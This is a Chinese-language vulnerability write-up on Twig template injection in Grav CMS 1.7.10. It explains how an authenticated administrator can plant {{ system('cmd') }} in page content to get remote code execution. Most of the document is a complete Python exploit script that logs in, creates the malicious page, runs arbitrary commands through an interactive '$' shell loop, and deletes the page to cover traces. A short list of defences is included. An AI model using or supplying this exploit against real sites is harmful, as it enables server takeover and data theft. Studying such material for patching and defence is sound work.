Grav CMS 1.7.10 模版注入
字数 845 2025-08-09 22:00:34
Grav CMS 1.7.10 模板注入漏洞分析与利用
漏洞概述
Grav CMS 1.7.10 版本存在模板注入漏洞,攻击者可以通过后台编辑页面内容时注入Twig模板代码,导致远程代码执行(RCE)。该漏洞需要管理员权限,且Twig模板处理功能必须开启。
环境搭建
- 使用Docker搭建Grav CMS 1.7.10环境
- 该CMS不需要数据库,数据直接存储在文件中
- 关键配置:必须在环境配置中开启Twig选项
漏洞复现步骤
1. 认证登录
首先需要获取管理员凭据并登录后台:
username = 'admin'
password = 'Admin888'
url = 'http://127.0.0.1'
session = requests.Session()
# 获取登录nonce
r = session.get(url + "/admin")
soup = BeautifulSoup(r.text, features="lxml")
nonce = str(soup.findAll('input')[2])[47:79]
# 构造登录payload
payload = f'data%5Busername%5D={username}&data%5Bpassword%5D={password}&task=login&login-nonce={nonce}'
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
r = session.post(url+"/admin", data=payload, headers=headers)
2. 创建包含恶意模板的页面
def rce(url, cmd):
# 生成随机项目名
project_name = ''.join(random.choices(string.ascii_uppercase + string.digits, k=8))
# 获取表单nonce和唯一form_id
r = session.get(url+f"/admin/pages/{project_name}/:add")
soup = BeautifulSoup(r.text, features="lxml")
form_id = str(soup.findAll('input')[-2])[54:86]
nonce = str(soup.findAll('input')[-1])[46:78]
# 构造包含Twig模板注入的payload
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
payload = f'task=save&data%5Bheader%5D%5Btitle%5D={project_name}&data%5Bcontent%5D=%7B%7B+system%28%27{cmd}%27%29+%7D%7D&...'
# 发送创建页面的请求
r = session.post(url+f"/admin/pages/{project_name}/:add", data=payload, headers=headers)
# 访问创建的页面获取命令执行结果
r = session.get(url+f"/{project_name.lower()}")
if 'SyntaxError' in r.text:
print("[-] Command error")
else:
# 解析并输出命令执行结果
a = r.text.split('<section id="body-wrapper" class="section">')
b = a[1].split('</section>')
print(b[0][58:])
3. 清理创建的页面
# 获取admin-nonce
r = session.get(url + "/admin/pages")
soup = BeautifulSoup(r.text, features="lxml")
nonce = str(soup.findAll('input')[32])[47:79]
# 删除创建的页面
r = session.get(url+f"/admin/pages/{project_name.lower()}/task:delete/admin-nonce:{nonce}")
手动复现步骤
- 使用管理员凭据登录后台
- 选择"Pages"并新建一个页面
- 随机输入标题等数据
- 在"Content"部分输入Twig模板注入payload:
{{ system('command') }} - 保存页面
- 访问该页面即可执行命令
漏洞分析
关键点
- Twig模板引擎:Grav CMS使用Twig作为模板引擎
- Twig语法:
{{ }}- 打印表达式的输出结果{% %}- 执行语句
- 配置要求:必须在
/user/config/system.yaml中开启Twig处理选项
漏洞原理
- 后台编辑页面内容时,可以注入Twig模板代码
- 当Twig处理功能开启时,CMS会解析这些模板代码
- 使用
system()函数可以执行任意系统命令 - 页面内容存储在
user/pages/目录下的Markdown文件中
技术细节
- 页面以Markdown语法构成,通过解析转换为HTML
- 后台编辑新页面时会生成文件夹并使用默认模板格式
- 关键配置位于
/user/config/system.yaml,需要设置Twig为true
防御措施
- 及时更新Grav CMS到最新版本
- 如果不需要Twig模板功能,关闭相关选项
- 严格控制管理员账户权限
- 对用户输入进行严格过滤,特别是模板内容
参考文档
完整EXP代码
import requests
from bs4 import BeautifulSoup
import random
import string
username = 'admin'
password = 'Admin888'
url = 'http://127..0.1'
session = requests.Session()
# Autheticating
def login(url,username,password):
r = session.get(url + "/admin")
soup = BeautifulSoup(r.text, features="lxml")
nonce = str(soup.findAll('input')[2])
nonce = nonce[47:79]
payload = f'data%5Busername%5D={username}&data%5Bpassword%5D={password}&task=login&login-nonce={nonce}'
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
r = session.post(url+"/admin",data=payload,headers=headers)
# Creating Page for RCE
def rce(url,cmd):
project_name = ''.join(random.choices(string.ascii_uppercase + string.digits, k=8))
r = session.get(url+f"/admin/pages/{project_name}/:add")
soup = BeautifulSoup(r.text, features="lxml")
form_id = str(soup.findAll('input')[-2])
nonce = str(soup.findAll('input')[-1])
form_id = form_id[54:86]
nonce = nonce[46:78]
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
payload = f'task=save&data%5Bheader%5D%5Btitle%5D={project_name}&data%5Bcontent%5D=%7B%7B+system%28%27{cmd}%27%29+%7D%7D&data%5Bfolder%5D={project_name}&data%5Broute%5D=&data%5Bname%5D=default&data%5Bheader%5D%5Bbody_classes%5D=&data%5Bordering%5D=1&data%5Border%5D=&toggleable_data%5Bheader%5D%5Bprocess%5D=on&data%5Bheader%5D%5Bprocess%5D%5Btwig%5D=1&data%5Bheader%5D%5Border_by%5D=&data%5Bheader%5D%5Border_manual%5D=&data%5Bblueprint%5D=&data%5Blang%5D=&_post_entries_save=edit&__form-name__=flex-pages&__unique_form_id__={form_id}&form-nonce={nonce}&toggleable_data%5Bheader%5D%5Bpublished%5D=0&toggleable_data%5Bheader%5D%5Bdate%5D=0&toggleable_data%5Bheader%5D%5Bpublish_date%5D=0&toggleable_data%5Bheader%5D%5Bunpublish_date%5D=0&toggleable_data%5Bheader%5D%5Bmetadata%5D=0&toggleable_data%5Bheader%5D%5Bdateformat%5D=0&toggleable_data%5Bheader%5D%5Bmenu%5D=0&toggleable_data%5Bheader%5D%5Bslug%5D=0&toggleable_data%5Bheader%5D%5Bredirect%5D=0&data%5Bheader%5D%5Bprocess%5D%5Bmarkdown%5D=0&toggleable_data%5Bheader%5D%5Btwig_first%5D=0&toggleable_data%5Bheader%5D%5Bnever_cache_twig%5D=0&toggleable_data%5Bheader%5D%5Bchild_type%5D=0&toggleable_data%5Bheader%5D%5Broutable%5D=0&toggleable_data%5Bheader%5D%5Bcache_enable%5D=0&toggleable_data%5Bheader%5D%5Bvisible%5D=0&toggleable_data%5Bheader%5D%5Bdebugger%5D=0&toggleable_data%5Bheader%5D%5Btemplate%5D=0&toggleable_data%5Bheader%5D%5Bappend_url_extension%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Bdefault%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Bcanonical%5D=0&toggleable_data%5Bheader%5D%5Broutes%5D%5Baliases%5D=0&toggleable_data%5Bheader%5D%5Badmin%5D%5Bchildren_display_order%5D=0&toggleable_data%5Bheader%5D%5Blogin%5D%5Bvisibility_requires_access%5D=0'
r = session.post(url+f"/admin/pages/{project_name}/:add",data=payload,headers=headers)
r = session.get(url+f"/{project_name.lower()}")
if 'SyntaxError' in r.text:
print("[-] Command error")
else:
a = r.text.split('<section id="body-wrapper" class="section">')
b = a[1].split('</section>')
print(b[0][58:])
# Cleaning up
r = session.get(url + "/admin/pages")
soup = BeautifulSoup(r.text, features="lxml")
nonce = str(soup.findAll('input')[32])
nonce = nonce[47:79]
r = session.get(url+f"/admin/pages/{project_name.lower()}/task:delete/admin-nonce:{nonce}")
login(url,username,password)
while True:
cmd = input("$ ")
rce(url,cmd)